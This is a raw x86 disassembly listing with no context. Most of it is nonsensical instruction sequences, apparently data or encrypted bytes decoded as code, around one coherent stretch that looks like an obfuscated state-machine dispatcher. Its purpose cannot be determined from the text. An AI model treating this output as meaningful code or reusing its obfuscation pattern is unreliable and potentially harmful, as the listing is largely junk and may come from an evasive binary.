je 0x67d5049b
mov eax, dword [ebp - 0x108]
xor eax, 0x1fc91
or eax, dword [ebp - 0x104]
je 0x67d4b24d
jmp 0x67d50498
mov ah, 0x56
fist word [ebp + 0x37dd8032]
invalid
adc bh, byte [eax + 0x75406041]
push edx
ret 0x6a1
push ecx
sub dh, bh
call 0xb9c428d1
mov al, 0xee
test dword [edx], eax
imul edi, dword [edx], 0x15
mov ebp, 0xc3a6cc90
mov esi, 0x1113ba38
stc
mov byte [0x4d38d954], al
sub al, 0x29
mov ebp, 0x75109b8a
pop edx
retf 0xe89a
loopne 0x67d4a02f
lds esi, gs:[ebx]
test dword [esi + 0x42], edx
cmp al, 0x63
dec edx
cwde
ljmp 0x98d3
aas
mov cl, 0
imul edx, ebx, 0x84a29698
enter 0xffffffffffffd4ce, 0xfffffffffffffff2
fcomp dword [ecx - 0x15]
cwde
xchg esi, eax
mov byte [0xd4cec884], al
fcomp dword [ecx - 0x15]
jge 0x67d4a05c
ljmp 0x1281:0xca1fd41
sub al, 0x21
shr byte [ecx*8 + 0xa7aa6bc], cl
test dword [ebx + 0x1c0b8d64], ebp
jle 0x67d4a06e
jle 0x67d4a069
cld
cmc
or ebp, dword [esi + ebx + 0x1370c1c6]
test al, 0x86
invalid
inc esi
push eax
jg 0x67d4a6e4
pop eax
lds ebp, [edx]
scasd eax, dword es:[edi]
mov ebp, 0xef62f32a
and byte [ebx + 0x27bf09bd], ah
aam 0x5a
fidiv word [edx + 0x54d004fa]
xchg edx, eax
out dx, al
push esi
mov dword [0xb402b0a], eax
inc esp
xchg esi, eax
push esp
xchg byte [esi - 0x42], ch
iretd
push ecx
retf 0x176d
das
sti
pushfd
invalid
add byte [eax], al
int 0x77
push 0x8eb204af
sub esp, dword [ebx]
btr ebx, ecx
js 0x67d4b24b
das
xor dword [edx + 0x34], ecx
insd dword es:[edi], dx
push eax
loop 0x67d4b25c
aad 0x68
shl byte [ebx + 0x48], 1
shr dword [ebx + 0x3156a22e], 1
jp 0x67d4b291
dec edi
mov dl, 0xd8
in al, dx
leave
sal dword [ebp - 0x7425e16f], 0xe
sbb eax, 0x8e0e38fd
dec ecx
pop esp
push 0xfe400f07
mov cs, word [esi - 0x4968ad57]
cmc
adc ch, byte [eax + eax*2]
mov dword [0xb6ebc2bf], eax
mov ds, word [edx]
xor eax, 0x2a643b76
pop ecx
in al, 0x5e
xchg ebx, eax
movsd dword es:[edi], dword [esi]
dec edx
repe cmpsd dword [esi], dword es:[edi]
int3
in al, 0x72
xor eax, 0x7047d16
push edi
adc ecx, ebx
push edi
dec esp
lea ebp, [eax]
test dword [eax + 0x79], ecx
outsd dx, dword [esi]
and eax, 0x5fdd8de8
pop ebx
add eax, 0xdc36d124
add eax, 0xe263324a
sbb cl, dh
loope 0x67d4b81c
in eax, 0xf1
nop
int3
stosb byte es:[edi], al
add ch, ch
dec edx
daa
leave
dec esp
fld st(6)
scasd eax, dword es:[edi]
in al, 0xf3
daa
pop esp
sbb al, 0x43
push edi
sbb ecx, dword [edi + 0x1c]
sbb dword [ebx], eax
jg 0x67d4b7fe
or edi, eax
lahf
pop edx
adc eax, 0xc1e93c24
int 0x6b
push ebp
dec ebx
xor esi, dword [eax - 0x7e]
mov dword [0x8963e784], eax
fidiv dword [ebx - 0xd]
mov dword [0xfee0ff0], eax
ret 0xda83
in eax, dx
cwde
sbb ah, byte [esi + 0x4611af47]
arpl word [eax + 0x48c01ecc], dx
cld
cmpps xmm0, xmmword [edx], 0x40
jg 0x67d4bde9
jp 0x67d4bdc6
movsb byte es:[edi], byte [esi]
xor edx, esp
adc byte [ebp - 0x6e], ah
sub al, 8
inc ecx
mov eax, 0x761c67b3
mov esi, dword [ecx - 0x60186d11]
jno 0x67d4be24
std
sub dword [esi], ebp
call 0xded3b20c
sahf
push 0xffffffffffffff97
and al, 0xaa
nop
push edx
not byte [edi - 0x7b5b77bc]
adc ah, ch
mov dh, 0xe
in eax, dx
aas
jg 0x67d4bd9b
jl 0x67d4bdf4
bnd je 0x67d4be30
je 0x67d4be30
lds eax, [eax + 0x521084cd]
dec edi
sbb ebx, dword [edx + 0x34]
pop ecx
xor al, 0x59
or dword [eax], eax
inc edi
xchg ebx, eax
add edx, ebp
sbb dword [edi - 0x662c8277], ebp
loopne 0x67d4be68
les ebp, [ebx]
mov bl, dh
nop
int3
neg edx
mov dword [0x3115f735], eax
jge 0x67d4bd9b
or byte [ebx + esi], cl
sub dword [edi + 8], ebp
stosd dword es:[edi], eax
sbb dword [ebp + 0x2e], 0xfffffff3
outsd dx, dword [esi]
sbb ecx, dword [ecx + 0x55f22f48]
mov esi, 0xe28cdc00
cld
cmp dword [0x656b3f6], 0x18
and dword [esi + 0x1d], 0x8d91c7e2
imul edi, dword [eax - 6], 0xae9a9c11
push es
mov al, byte [0x887d04a0]
mov ecx, 0xb1cbe257
or al, 0xd4
popfd
sub byte [ebp + eax + 8], ah
dec edi
lcall 0x55ab, 0x8529efb9
sub al, 0xeb
pushal
and eax, 0xe18a8ff4
pop ebx
loope 0x67d4bec5
fist dword [eax]
fild word [ebx + 4]
pop ebx
dec edx
nop
int3
and edx, dword [ebp - 0x14]
ret 0x11d5
scasb al, byte es:[edi]
int 0x14
jecxz 0x67d4c40f
push eax
pop edx
mov ebp, 0xcc90178b
jmp 0x67d5049c
sub eax, 0xa92d22cf
neg byte [ecx]
pop edx
push es
shr ch, cl
jle 0x67d4c3df
mov edi, 0x92ee6dda
xor dword [ebp + 0x17c02fbf], ecx
cmc
jmp 0x67d4c42e
cmp dword [edx + 0x235595db], edx
mov bl, byte [esi - 0x38]
test dh, bl
fucomp st(3)
inc ebp
movsb byte es:[edi], byte [esi]
or eax, 0xe2b8056
or eax, 0xdb449848
aad 0x57
les ebp, [0xc10fbbf6]
sub al, 0x74
mov ebx, 0x742cc10f
add byte [ebx + 0x23cab744], cl
in eax, dx
jne 0x67d4c4a2
pushal
pop edi
push edi
sub bh, 0x71
invalid
invalid
int1
jo 0x67d4c4a1
pop esp
and eax, 0x1b6dbcce
sar byte [ebx - 0x28], 0xd6
cli
jle 0x67d4c51d
retf 0xc77c
int3
cmc
sbb ah, byte [esi + 0x3d8fdf04]
int1
and edi, esp
cwde
and eax, 0xcd1098c6
mov esp, 0xa341d51a
loop 0x67d4c4d2
mov esi, ecx
outsb dx, byte [esi]
push ss
mov ah, 0xfd
inc eax
add eax, 0xe9a3053d
sbb dword [0x97782215], 0x27
mov dword [0x151d83e9], eax
and bh, byte [eax - 0x69]
daa
add cl, byte [edi - 0x67]
movsd dword es:[edi], dword [esi]
xor al, 0xd
jne 0x67d4c53e
inc edi
pop eax
dec edi
int3
neg byte [ebp + 0x1b]
jo 0x67d4c9d8
push ebp
cmp al, 0x2c
cmpsb byte [esi], byte es:[edi]
sub al, 0xa6
xchg edx, eax
sub byte [esi], bl
iretd
dec esi
dec ebp
push 0xdadb318b
invalid
das
add byte [eax], al
mov dword [ecx - 0x75f5d5fa], ebp
jbe 0x67d4d590
inc edi
pop ds
invalid
add dword [eax - 0x51], esi
mov edi, 0x8a72c9f9
push cs
mov cl, byte [esi]
jle 0x67d4dbc6
in al, 0xd9
pop ebx
int3
mov bl, 0x81
outsd dx, dword [esi]
lcall 0x28e9, 0xcc903f88
sub dword [eax], eax
add dh, bh
mov word [esi + 0x484dfccf], cs
dec byte [esi + ecx*4 + 0x484dfccf]
div edi
les edi, [eax + 0x2644b44f]
sti
inc esp
sti
adc al, 0xdf
mov ah, 0x2f
jg 0x67d4db82
cmp dh, dh
sal dword [esi + 0x43], 1
stc
or eax, 0x4dcd7267
fucompi st(1)
xor bh, byte [eax - 0x46dad669]
wait
mov edi, gs
and eax, 0xef8c9bb9
das
dec eax
pop esi
fcmovnu st(0), st(3)
loope 0x67d4db4e
wait
push esi
fnstsw word [edx + edi*4]
stosb byte es:[edi], al
jns 0x67d4db55
wait
in al, dx
pop ds
pop esi
adc eax, 0xc6a2b765
sbb bl, ah
insb byte es:[edi], dx
fsubrp st(2)
mov ecx, 0xec119910
fldpi
cmp dword [edi], ecx
and al, 0x38
in eax, dx
jne 0x67d4dbfe
xchg edi, eax
std
adc al, 0xf3
cli
imul ebx, edi, 0xffffffe5
jno 0x67d4db67
int3
mov eax, dword [0xdfc6bcea]
xchg ebx, eax
leave
adc al, 0x9e
mov edi, 0xafc85cce
mov esp, 0x74945b59
jb 0x67d4db9c
jo 0x67d4dbce
les edx, [esi]
push es
out 0x1d, al
in eax, 0x71
outsd dx, dword [esi]
imul edi, eax, 0x59
add byte [ebx], ch
lodsd eax, dword [esi]
cmp eax, 0xab219df
rol byte [edx + 0x7a], 0x83
salc
cmpsd dword [esi], dword es:[edi]
xor dl, ch
fist dword [ecx + 0x49d3f29e]
and al, 0xc4
loopne 0x67d4dbcb
int3
mov cs, word [ecx + 0x6e]
mov bh, 0x47
mov esi, 0xcaddce08
ret
test byte [ebp + ecx*8 - 0x51], ah
mov bh, 0x31
loop 0x67d4e0a6
bnd jle 0x67d4e125
lahf
fisubr word [edi]
xor eax, 0x6bcc904f
mov cl, 0xc8
xor al, 0x37
inc ebp
popal
push ds
push es
cmp al, 0xa5
sbb dword [edi - 0x54], ebp
cwde
and dl, byte [edi + 0x660809ed]
mov eax, 0xd4b86525
add eax, 0x90616849
arpl word [ebx + 0x8e2a2c8], dx
cmpsd dword [esi], dword es:[edi]
pop edx
push esi
push 0x2f0a7d93
mov ecx, ecx
adc al, 0xcd
pop ebp
or eax, 0x8a9d5795
jmp 0x67d4e143
insb byte es:[edi], dx
cmpsb byte gs:[esi], byte es:[edi]
retf 0xdf01
invalid
invalid
sahf
jno 0x67d4e0da
or eax, 0xe6ee0401
fucomi st(3)
mov eax, esp
pop ebx
jns 0x67d4e14b
add esi, dword [edx]
and cl, byte ds:[ecx - 0x481b8c56]
jb 0x67d4e17b
add ch, byte [ebp + eax*2 + 0x77]
or al, 9
jbe 0x67d4e1da
dec edx
jle 0x67d4e13e
push es
scasd eax, dword es:[edi]
sub eax, dword [ebx]
add bh, byte [edi + 0x458d57b1]
mov esi, 0x1c33d30e
mov edx, 0xe077b468
mov bh, 0xea
test al, 0xd0
invalid
int3
xor al, 0x29
inc edx
adc byte [eax + 0x73c0547c], 0xb3
xchg edx, eax
mov ah, 0x13
fimul word [edi]
push ebp
fsub qword [0xa18b0f23]
cmp edx, dword [ebx + edi*2 - 0x30]
mov al, byte [0x2a8a93e9]
xchg ebx, eax
mov edx, 0xe887b95a
aam 0xe3
xor al, 0x59
fcomp dword [ecx - 0x66]
sahf
push edi
test dword [edx - 0x3f], esi
push cs
cli
xor ebx, dword [esi]
cmp eax, 0xbcdf8855
fisttp qword [ecx - 0xd]
test word [edi - 0x1f], 0xcc90
mov ecx, ebx
push edx
mov ebp, 0x51ca4a83
xchg esp, eax
mov eax, 0x2c50163
loope 0x67d4e1b8
sal eax, 0x2f
rol byte [edx], cl
out dx, eax
wait
stc
hlt
scasd eax, dword es:[edi]
out dx, eax
test dword [ebx + 0x45], ecx
cli
sbb al, 1
int 0xa5
xor al, 0x4c
cmp byte [ebx + 0x3f], ch
inc esi
sub byte [ecx + 2], ah
push ss
cmp dword [edi - 0x3538b581], eax
insb byte es:[edi], dx
cli
mov dword [edi + edx], esi
and bl, byte [edi]
sar byte [ebp - 0x5ef527c3], cl
invalid
imul esp
aam 0xf1
push cs
pop es
sub dl, byte [ebx + 0x373c6262]
sub ecx, dword [ebx]
inc ebx
add eax, 0x5974071
dec esp
adc al, 0xa4
out 0x4b, al
sbb al, byte [edi + ebp + 0xa118cf3]
aad 0x73
invalid
inc ebp
invalid
pop ss
xlatb
frstor dword [edx]
mov dl, byte [ebx - 0x4382577b]
aad 0xc
nop
int3
setne byte [ecx]
test al, 6
sbb dword [edi], edx
outsb dx, byte [esi]
in eax, 0xc
inc edx
mov byte [0x8f658771], al
xchg ebx, eax
dec ecx
pop esp
sbb al, 0xec
jae 0x67d4f929
push ds
jle 0x67d4f8c6
pop eax
mov ebx, 0xae0d9203
or esi, dword cs:[ebx - 0x29]
push esi
pop es
adc bl, byte [edi - 0x1d6a55c7]
cmc
cdq
jmp 0x67d4f8f4
push ecx
xchg edi, eax
invalid
ror byte [edx - 0x2a], cl
adc bh, byte [ecx]
sahf
pop eax
sbb dword [edi + 0x52f43d89], 0xffffffcf
scasd eax, dword es:[edi]
or eax, 0xcc9041b6
sahf
sub dword [edx + 0x25074898], edi
cli
xchg esi, eax
test eax, 0x26de3bc8
and eax, 0xc8a996fa
cmp ebx, esi
cmp esp, dword es:[edi]
enter 0xffffffffffffde3b, 0x26
cmp esp, dword [edi]
sub al, 0x69
jbe 0x67d4fe3c
cmc
jno 0x67d4fe5b
stc
adc al, 0xad
inc edi
insb byte es:[edi], dx
invalid
sal bl, 0xe9
jmp 0x67d4fe57
nop
jmp 0x67d5049c
nop
mov edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x10]
add eax, edx
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x110], 0x88b8b
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x118], 0x6694f
mov dword [ebp - 0x114], 0
mov ecx, dword [ebp - 0x110]
mov ebx, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x118]
mov edx, dword [ebp - 0x114]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], edx
mov eax, dword [ebp - 0x120]
xor eax, 0xf1cce
or eax, dword [ebp - 0x11c]
je 0x67d55b44
mov edx, 0xf1cce
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x67d57e87
mov eax, dword [ebp - 0x120]
xor eax, 0xef4da
or eax, dword [ebp - 0x11c]
je 0x67d57e8a
mov edx, 0xef4da
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x67d57e87
mov eax, dword [ebp - 0x120]
xor eax, 0xec73e
or eax, dword [ebp - 0x11c]
je 0x67d543c0
mov edx, 0xec73e
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x67d57e87
mov eax, dword [ebp - 0x120]
xor eax, 0xe388f
or eax, dword [ebp - 0x11c]
je 0x67d52c3c
mov edx, 0xe388f
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x67d57e87
mov eax, dword [ebp - 0x120]
xor eax, 0xd5747
or eax, dword [ebp - 0x11c]
je 0x67d54f82
mov edx, 0xd5747
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x67d57e87
mov eax, dword [ebp - 0x120]
xor eax, 0xc5036
or eax, dword [ebp - 0x11c]
je 0x67d51a99
mov edx, 0xc5036
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x67d57e87
mov eax, dword [ebp - 0x120]
xor eax, 0xbf9f2
or eax, dword [ebp - 0x11c]
je 0x67d56706
mov edx, 0xbf9f2
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x67d57e87
mov eax, dword [ebp - 0x120]
xor eax, 0xb5eb4
or eax, dword [ebp - 0x11c]
je 0x67d56ce7
mov edx, 0xb5eb4
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x67d57e87
mov eax, dword [ebp - 0x120]
xor eax, 0xb040f
or eax, dword [ebp - 0x11c]
je 0x67d53ddf
mov edx, 0xb040f
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x67d57e87
mov eax, dword [ebp - 0x120]
xor eax, 0xaab0d
or eax, dword [ebp - 0x11c]
je 0x67d572c8
mov edx, 0xaab0d
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x67d57e87
mov eax, dword [ebp - 0x120]
xor eax, 0xa558a
or eax, dword [ebp - 0x11c]
je 0x67d514b8
mov edx, 0xa558a
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x67d57e87
mov eax, dword [ebp - 0x120]
xor eax, 0xa5519
or eax, dword [ebp - 0x11c]
je 0x67d5321d
mov edx, 0xa5519
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x67d57e87
mov eax, dword [ebp - 0x120]
xor eax, 0x8e40e
or eax, dword [ebp - 0x11c]
je 0x67d56125
mov edx, 0x8e40e
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x67d57e87
mov eax, dword [ebp - 0x120]
xor eax, 0x8ca36
or eax, dword [ebp - 0x11c]
je 0x67d537fe
mov edx, 0x8ca36
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x67d57e87
mov eax, dword [ebp - 0x120]
xor eax, 0x7f7d9
or eax, dword [ebp - 0x11c]
je 0x67d55563
mov edx, 0x7f7d9
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x67d57e87
mov eax, dword [ebp - 0x120]
xor eax, 0x6e52d
or eax, dword [ebp - 0x11c]
je 0x67d5207a
mov edx, 0x6e52d
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x67d57e87
mov eax, dword [ebp - 0x120]
xor eax, 0x5f845
or eax, dword [ebp - 0x11c]
je 0x67d508f6
mov edx, 0x5f845
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x67d57e87
mov eax, dword [ebp - 0x120]
xor eax, 0x54fad
or eax, dword [ebp - 0x11c]
je 0x67d578a9
mov edx, 0x54fad
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x67d57e87
mov eax, dword [ebp - 0x120]
xor eax, 0x3da4c
or eax, dword [ebp - 0x11c]
je 0x67d549a1
mov edx, 0x3da4c
mov eax, 0
cmp edx, dword [ebp - 0x120]
sbb eax, dword [ebp - 0x11c]
jl 0x67d57e87
mov eax, dword [ebp - 0x120]
xor eax, 0x146d4
or eax, dword [ebp - 0x11c]
je 0x67d5265b
mov eax, dword [ebp - 0x120]
xor eax, 0x1e253
or eax, dword [ebp - 0x11c]
je 0x67d50ed7
jmp 0x67d57e87
aam 0x41
cmp eax, 0x2d3e6a8e
cmp al, byte [edi + esi + 0x15]
outsb dx, byte [esi]
dec eax
push esp
movsd dword es:[edi], dword [esi]
push edx
loope 0x67d508ac
push esp
ja 0xf0ebfcba
mov bl, 0x21
sbb eax, 0xe3e11a37
idiv dword [ebp + 0x31118cb6]
aaa
and cl, byte [ecx - 0x7a9f71ab]
daa
sub al, 0xc9
mov ah, 0x17
div byte [ebx + 0x1c]
dec ecx
into
sal eax, cl
into
sub byte [edx], 0x7f
sub dh, al
inc ebp
loope 0x67d50999
mov cl, 0xc
or eax, 0xeacdb30d
int 0xea
mov ebp, 0x65541cd7
cli
add dword [ecx - 0x6b], ebp
jge 0x67d5093e
mov dh, 0x59
xchg edx, eax
popfd
aaa
int1
stosb byte es:[edi], al
imul eax, dword [ebp - 0x24], 0xfffffff9
cmp byte [eax + 0x6c4989cc], dl
push ecx
aas
shl byte [ebp - 0x37], 1
imul eax, dword [edx - 0x40], 0xffffffa0
dec edi
adc dword [esi - 0x25669078], ecx
sub al, 0x7e
sub eax, 0x3ae062ec
nop
or dl, bh
cld
adc edi, dword [eax + 0x583a770d]
xchg edi, eax
mov ebx, 0x3e145ff8
dec ecx
push 0xfffffffffffffff1
int1
aaa
sti
sub eax, 0xdae93988
sahf
mov eax, dword [0xcc89b5cb]
lodsd eax, dword [esi]
or bh, byte [edi - 0x171961cc]
xor al, 0x9e
out 0xe8, al
imul ecx, edi, 0xb29f354e
je 0x67d509f9
popfd
clc
mov al, 0x59
rcr byte [ebp + 0x20], cl
dec esi
xlatb
ret 0xb833
add al, 0x2e
or al, 0xb3
xor dh, byte [esi - 0x43cb7b5f]
sbb byte [ecx - 0x375c37f], ch
xchg edx, eax
cmc
pop ebp
les edi, [eax + eax + 0x79]
push 0xe
mov al, 0xd8
jae 0x67d509e6
cmp dword [edx + edi*2 - 0x5b1f42b3], esp
popfd
mov esi, 0x10b4e5ce
mov cl, 0x22
in al, 0xc6
sbb dl, bh
and dword [edx + 0x1bccd80a], ebp
or eax, 0x909a320e
int3
sbb cl, byte [ecx - 0x75]
sub dword [esi - 0x1c], ebp
and dh, dh
pushal
movsb byte es:[edi], byte [esi]
call 0xda74d7ac
mov al, byte [0x73e74cc0]
and esi, dword [0x53a195ef]
ror byte [edi + 0x73], 0x23
xor eax, 0x53a195ef
in al, 0x84
mov dl, 0xda
jns 0x67d50e99
inc ebx
sbb eax, dword [edx + 0x6f]
adc esi, dword [edx + 0x59b58a25]
cmp dword [ebp + 0xf2f464a], esp
fnsave dword [ebp + 4]
cld
or dword [ebp + 0x22], esi
iretd
and al, 0x1a
jnp 0x67d50e89
wait
cmp al, 0x51
pushal
jo 0x67d50efe
salc
int 0x9a
sub ecx, dword [ebx]
push cs
arpl word [edx], bx
bound esi, qword [0x848057d]
sbb eax, 0xfaad9401
scasd eax, dword es:[edi]
mov bl, 0x2b
mov dh, 0x59
rep outsb dx, byte [esi]
sahf
sub cl, cl
sub ebx, dword [ebx - 0x7549b954]
adc eax, 0x8c3dd066
push ebx
add ecx, ebp
and eax, 0x1edf5738
cmc
lahf
mov bl, byte [esi - 0x4e]
fimul dword [0x10581075]
sal dword [eax + 0x11], 0xb0
dec ebx
and al, 0xcb
mov cl, byte [0x53065200]
in eax, dx
mov esi, 0x7549497d
pop esp
push ebp
sub al, 0xde
cmp edi, dword [ebp + edx*8 - 0x2a]
stc
add al, 0x90
int3
dec ebx
inc ebp
nop
push edx
scasd eax, dword es:[edi]
stosd dword es:[edi], eax
jg 0x67d514bd
sub eax, 0x8028b433
pop edx
das
jnp 0x67d514e4
imul esp, dword [edx + edi + 0x6a4c59c2], 0x23d4bc6f
or dword [edx + ebx*2 + 0x6581f6a2], edx
or byte [edx], dh
dec ebx
sbb eax, 0x2d97b390
adc al, 0x65
nop
int3
ja 0x67d51484
pop ss
cmp al, 0x73
insb byte es:[edi], dx
cdq
inc esi
xor eax, 0xefb4e7b9
inc esp
or edx, ebx
mov cl, byte ds:[ebx - 8]
iretd
invalid
cmp edx, edi
mov edx, 0xb3096cc2
enter 0x7928, 0xffffffffffffffe7
cmp al, 0xe0
mov cl, dl
pop ebx
dec esi
jb 0x67d51ae8
popfd
xlatb
nop
int3
mov dh, 0x68
fdivp st(5)
call 0xf911162f
xchg ebp, eax
inc ebp
and al, 8
sti
pop ecx
or byte [ecx], al
xchg byte [ebx - 0x35], ah
scasd eax, dword es:[edi]
xlatb
enter 0x45f3, 0xffffffffffffffe7
aad 0xf7
push cs
dec esi
cld
lea eax, [eax - 0x3c]
jg 0x67d51a7d
test eax, 0x5d99a13d
and dword [ebx - 0x58b98ab4], eax
rol eax, cl
or al, 0xee
push eax
repz ret 0x72c2
fisubr word [esi + 0x2b]
xor esi, dword [esi - 0x57b0832a]
mov esi, 0xa4e1fd2a
daa
push ds
cmp byte [ebp - 0x57], cl
nop
int3
and bh, ch
movsb byte es:[edi], byte [esi]
out dx, eax
movsb byte es:[edi], byte [esi]
invalid
mov ecx, esp
adc byte [ebp + 0x492df0eb], ah
lss edx, [edi + ecx*8]
cmpsd dword [esi], dword es:[edi]
adc dword [edi + ebx*2 - 0x4f31e569], esp
lds edx, [ebx]
fcom qword [edx + edx*8 - 0x3281ff95]
adc eax, 0x91f5a4e3
dec ebp
dec esp
inc edx
mov dh, 0x7f
add al, 0x95
lea ecx, gs:[esi + 0x31]
ficomp word [0x6e259cfa]
or dword [esi], edi
push 0xb27dae95
inc ebx
ret 0xda1a
iretd
mov dx, 0x2691
loopne 0x67d53287
iretd
xchg byte [ebx], dh
iretd
jnp 0x67d53869
outsd dx, dword [esi]
salc
fld qword [ecx + 0x45250a97]
cmpsb byte [esi], byte es:[edi]
sbb esi, dword [edx + 0x728d8c36]
clc
aaa
int 0xec
pushfd
fisttp word [esi + 0x58]
pop eax
std
outsd dx, dword [esi]
call 0x85d128f6
cld
retf 0x5ec
and eax, dword [eax - 0x249be405]
cmpsb byte [esi], byte es:[edi]
loope 0x67d53816
into
xchg esi, eax
inc bp
je 0x67d538d3
xor esp, dword [esi - 0x54]
add ebx, dword [ebx]
lcall 0x3035, 0x137795ea
xor al, 0xee
sti
mov dl, 0xa9
dec ebx
xchg dword [esi - 0x79], edi
invalid
or dh, ah
int1
mov edx, 0x6a0e72be
ja 0x67d5391e
jmp 0x32bb3602
fcom dword [edi + ebp*8]
push cs
sti
pop ds
ljmp 0xd6cc
jnp 0x67d53e2b
insb byte es:[edi], dx
jmp 0xd9fb73cd
in eax, 0x83
das
mov ebx, 0x67868744
mov cl, 0x11
mov ebx, 0xeb4dec23
or ebp, eax
pop eax
bound edi, qword [edx - 0x336fb3c8]
xchg ebx, eax
ficom dword [esi]
or ah, cl
or eax, 0x58ae9512
push esp
push cs
lds eax, [ebx + 0x1a]
shr dword [esi + ebp*2 + 0x7ae12411], cl
mov dh, 0x63
mov al, 0x1c
daa
sbb dl, byte [eax + edi*2 - 0x4cd239c0]
inc ebp
push cs
mov dl, 0xa
aad 0xeb
invalid
or eax, 0xdd7b4b38
cmp eax, 0x1ca24171
pop esp
arpl word [ebx + ecx + 0x126bbe84], bx
daa
jns 0x67d54421
lodsd eax, dword [esi]
adc dword [eax - 0x6c], edi
ret
pushfd
nop
int3
mov ah, 0x4b
and byte [esi], 0x46
int3
cli
cmp ch, byte [eax - 0x6d]
test eax, 0x5b620dce
pop edx
mov edx, 0x88e8d13b
push ds
int 0xe4
inc ecx
or bl, cl
cmp byte [edx - 0x422c3e33], cl
ljmp 0x5f58
outsb dx, byte gs:[esi]
cli
pushal
jmp 0x42a20b4d
and dword [ebp + 0x5d], ebx
invalid
invalid
aam 0xd0
xchg byte [edi + 0x61a0ea79], al
ljmp 0xa4f6
scasd eax, dword es:[edi]
jge 0x67d56710
sbb byte [esi + ecx*4 + 0x43c7a00a], ah
sbb byte [edi + 0x2a], ah
and dword [ebx + 0x5e], edx
inc edi
mov dword [0x9b90c459], eax
inc esp
sbb eax, 0x2c2a64b2
xlatb
loop 0x67d566e4
jmp 0x67d5678d
mov al, 0xa8
push eax
jno 0x67d56723
or dword [edx], 0xffffff9d
inc ebx
dec esp
mov eax, 0xd087322a
xchg esi, eax
pop es
mov eax, cs
xchg esp, eax
mov esi, 0xcc0c2950
mov ebp, 0xf8a66a90
ljmp 0xcdfc
push cs
std
insd dword es:[edi], dx
int3
cmp dword [esi], 0x48f21c37
and dl, dh
cmp eax, 0x9b3fe629
push ebp
sbb dword [edx + 0x6403b31], edx
mov ch, 0xf6
mov al, byte [0x6410a0b4]
push edx
nop
mov ah, 0xa0
adc byte [edx + edx*2 - 0x70], ah
mov ebp, dword [ebp + 0x7e]
inc ecx
jge 0x67d5729b
out 0x63, al
leave
nop
int3
jbe 0x67d572b2
dec edx
jno 0x67d5731d
sub eax, 0xddddfe56
xchg byte [eax + 0x57], bh
leave
lea eax, [ebx]
sbb dword [edx + edx*8], ebp
dec ebx
sbb eax, esi
dec eax
sahf
push ebx
pop esi
mov al, byte [0xc3a71bb7]
inc ebx
inc ebp
pop ss
fnstcw word [eax]
jae 0x67d57331
mov bh, 0x1b
cmpsd dword [esi], dword es:[edi]
ret
popfd
mov eax, dword [0x9b09d34d]
imul edx, edx, 0x333d65a3
mov dl, 0x77
add al, 0x96
and byte ss:[eax], bh
retf
and dword [eax], ebx
test eax, 0xc107d570
push eax
invalid
mov cl, 3
inc ebx
pop ebx
mov bh, 0x40
test dword [eax + 0x62], esi
jo 0x67d572e5
and dh, al
cld
xlatb
add dh, ah
inc edi
sub dword [ebx + 0x14cea849], edx
cmp eax, 0x37004e7a
mov ah, 0xd5
fisttp dword [edx + ebx*8]
dec edi
add dl, dl
sub ebp, dword [edi]
outsb dx, byte [esi]
outsd dx, dword [esi]
int 0xd8
dec esp
jle 0x67d572e3
dec ebp
wait
cmp dword [ebx - 0x1f], 0xffffffad
popfd
push 0x8317fb86
js 0x67d57390
int3
out 0x56, eax
xor byte [ecx - 0x503a0ce4], al
sbb al, 0x38
cmp esi, dword [esp + ecx*2 - 0x16cb8edb]
ja 0x67d573ec
mov bh, byte [edx + 0x15]
inc byte [ebx - 0x7e]
in eax, dx
jecxz 0x67d57428
mov al, 0x7a
je 0x67d5733f
out dx, al
jbe 0x67d57349
std
lds esi, [ecx - 0x2c13a3ff]
mov edi, 0x74b5cfbf
inc esi
fild qword [ecx - 0xd]
mul dword [edx + edx*8 - 0xc69d7c6]
inc esi
cld
or eax, 0xc195297d
int3
mov word [ebx], fs
in al, dx
ret 0x9dce
push cs
salc
mov ebx, 0xc25f2d64
cmp al, 0x32
cmp eax, 0x4b1e47b6
mov dword [0x16afc1d8], eax
sub byte [esi], al
pop di
mov bh, 0x64
add byte [edi + 0xe], 0xbc
shl byte [edi - 0x49], 1
adc dword [esi], eax
sal byte [ebx + 0x5e84bc7e], 0xd
das
sbb bl, byte [0xc0cc907c]
pushfd
jns 0x67d574ae
pop edi
jge 0x67d574de
cdq
inc edi
and byte [ebx - 0x11], dl
xchg byte [eax + 0x27eb79eb], dh
daa
sbb dword [ecx - 0xaef91ae], ecx
invalid
and al, 0x6e
wait
loopne 0x67d574ce
jge 0x67d574f8
popfd
invalid
mov eax, 0x75e5eab2
dec ecx
